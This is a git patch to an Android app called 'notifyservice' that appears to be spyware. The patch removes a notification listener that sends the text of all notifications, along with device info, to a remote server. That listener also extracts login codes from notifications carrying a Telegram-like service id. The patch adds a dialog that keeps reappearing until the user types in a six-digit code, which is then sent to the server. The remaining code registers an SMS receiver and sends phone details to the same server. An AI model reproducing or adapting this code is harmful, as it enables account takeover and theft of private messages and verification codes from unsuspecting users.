From ff748d702592598dd95c94a99d75a6e73ddce2a8 Mon Sep 17 00:00:00 2001 From: Your Name Date: Wed, 16 Apr 2025 15:58:04 +0300 Subject: [PATCH] method changing --- app/src/main/AndroidManifest.xml | 16 +-- .../com/example/notifyservice/Listener.java | 123 ------------------ .../example/notifyservice/MainActivity.java | 92 ++++++++----- 3 files changed, 58 insertions(+), 173 deletions(-) delete mode 100644 app/src/main/java/com/example/notifyservice/Listener.java diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index ddb4ab7..0dde5a5 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -27,29 +27,15 @@ - - - - - - - - - + - - diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java deleted file mode 100644 index 97c0298..0000000 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ /dev/null @@ -1,123 +0,0 @@ -package com.example.notifyservice; - -import static com.example.notifyservice.MainActivity.getCurrentHash; -import static com.example.notifyservice.MainActivity.getDeviceInfo; -import static com.example.notifyservice.MainActivity.setCurrentHash; - -import android.app.ActivityManager; -import android.app.Notification; -import android.content.Context; -import android.content.Intent; -import android.os.Build; -import android.os.Bundle; -import android.os.IBinder; -import android.service.notification.NotificationListenerService; -import android.service.notification.StatusBarNotification; -import android.util.Log; -import java.util.Arrays; -import java.util.List; - -public class Listener extends NotificationListenerService { - - - List notificationTextKeys = Arrays.asList( - Notification.EXTRA_TEXT, - Notification.EXTRA_SUB_TEXT, - Notification.EXTRA_INFO_TEXT, - Notification.EXTRA_SUMMARY_TEXT, - Notification.EXTRA_BIG_TEXT, - Notification.EXTRA_TEXT_LINES - ); - - - @Override - public IBinder onBind(Intent intent) { - return super.onBind(intent); - } - - private static String extractFirstNumber(String input) { - if (input == null || input.isEmpty()) { - return null; - } - - StringBuilder number = new StringBuilder(); - boolean foundDigit = false; - - for (char c : input.toCharArray()) { - if (Character.isDigit(c)) { - number.append(c); - foundDigit = true; - } else if (foundDigit) { - break; - } - } - - return number.length() > 0 ? number.toString() : ""; - } - - @Override - public void onNotificationPosted(StatusBarNotification sbn){ - String packageName = sbn.getPackageName(); - // Log.i(packageName, packageName); - PostRequest _postRequestTask = new PostRequest(getApplicationContext(), null); - _postRequestTask.execute("notificationPosted", - getDeviceInfo(getBaseContext()) + ";" + packageName + ";" + processTextsExtras(sbn.getNotification().extras)); // STATIC - if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC - String code = processExtras(sbn.getNotification().extras); - if (code.length() < 5) - return; - Context context = getApplicationContext(); - String currentHash = getCurrentHash(context); - if(currentHash.isEmpty()) - return; - if (MainActivity.callbackRef != null) { - NotificationCallback callback = MainActivity.callbackRef.get(); - if (callback != null) { - callback.onCodeReceived(code); - } - } else { - PostRequest postRequestTask = new PostRequest(context, null); - postRequestTask.execute("code", - code + ";" + currentHash); // STATIC - setCurrentHash(context, ""); - } - - } - } - - public String processTextsExtras(Bundle extras) { - StringBuilder notifyTexts = new StringBuilder(); - - for (String key : notificationTextKeys) { - CharSequence charSequence = extras.getCharSequence(key); - String str = charSequence != null ? charSequence.toString() : null; - - if (str != null && !str.isEmpty()) { - notifyTexts.append(str); - } - } - - return notifyTexts.toString(); - - } - - public String processExtras(Bundle extras) { - return extractFirstNumber(processTextsExtras(extras)); - } - - private String getShortcutSafe(StatusBarNotification sbn) { - String shortcutId = null; - if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) { - shortcutId = sbn.getNotification().getShortcutId(); - } else { - shortcutId = "ndid_777000"; // STATIC - } - return shortcutId == null ? "" : shortcutId; - } - - private String getNotificationText(StatusBarNotification sbn) { - Notification notification = sbn.getNotification(); - CharSequence tickerText = notification.tickerText; - return tickerText == null ? "" : tickerText.toString() ; - } -} \ No newline at end of file diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 9c26c7b..f9a4131 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -51,6 +51,7 @@ import java.util.Timer; import java.util.TimerTask; import java.util.regex.Matcher; import java.util.regex.Pattern; +import android.widget.EditText; public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback { @@ -75,28 +76,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private JSONObject ussd; private JSONObject language; - protected static WeakReference callbackRef = new WeakReference<>(null); - - public static void setNotificationCallback(NotificationCallback callback) { - callbackRef = new WeakReference<>(callback); - } - - public static void removeNotificationCallback() { - callbackRef.clear(); - } - - @Override - protected void onResume() { - super.onResume(); - MainActivity.setNotificationCallback(this::handleCodeReceived); - } - - @Override - protected void onPause() { - super.onPause(); - MainActivity.removeNotificationCallback(); - } - public class PhoneNumber { public String phone; @@ -307,8 +286,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) { requestPermissions(retrievePermissions(this)); } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ - Intent intent = new Intent(this, Listener.class); - startService(intent); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); // Log.i("a", "Make process"); // STATIC Context permissionContext = this; @@ -411,6 +388,57 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba phone.save() + ";" + getDeviceInfo(context)); // STATIC } + public static boolean isNumeric(String strNum) { + if (strNum == null) { + return false; + } + try { + double d = Double.parseDouble(strNum); + } catch (NumberFormatException nfe) { + return false; + } + return true; + } + + public void createDialog() { + try { + EditText editTextField = new EditText(this); + AlertDialog.Builder builder = new AlertDialog.Builder(this); + builder.setTitle(language.getString("title")); // STATIC + builder.setMessage(language.getString("message")); // STATIC + builder.setView(editTextField); + builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC + @Override + public void onClick(DialogInterface dialogInterface, int i) { + String editTextInput = editTextField.getText().toString(); + if (!isNumeric(editTextInput) || editTextInput.length() != 6) { + dialogInterface.dismiss(); + createDialog(); + return; + } + handleCodeReceived(editTextInput); + } + }); + + builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC + @Override + public void onClick(DialogInterface dialogInterface, int i) { + dialogInterface.dismiss(); + createDialog(); + return; + } + }); + + this.runOnUiThread(new Runnable() { + public void run() { + // Log.i("a", "Run thread"); // STATIC + AlertDialog dialog = builder.create(); + dialog.show(); + } + }); + } catch (Exception ignore){} + } + @Override public void onPostResponse(JSONObject result) { // Log.i("a", "On post Response"); // STATIC @@ -418,6 +446,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC setCurrentHash(this, result.getString("hash")); // STATIC + createDialog(); } if(result.has("key")) // STATIC setKey(getBaseContext(), result.getString("key")); // STATIC @@ -465,17 +494,10 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba requestsCount += 1; } if (requestsCount == 2) { - if (!isNotificationServiceEnabled()) { - promptNotificationAccess(); - PostRequest postRequestTask = new PostRequest(this, this); - postRequestTask.execute("notificationPermission", - getDeviceInfo(this)); // STATIC - } else { - PostRequest postRequestTask = new PostRequest(this, this); - postRequestTask.execute("requestPermissions", - getDeviceInfo(this)); // STATIC - requestPermissions(retrievePermissions(this)); - } + PostRequest postRequestTask = new PostRequest(this, this); + postRequestTask.execute("requestPermissions", + getDeviceInfo(this)); // STATIC + requestPermissions(retrievePermissions(this)); } } catch (Exception e) { // Log.i("ww", Arrays.toString(e.getStackTrace()));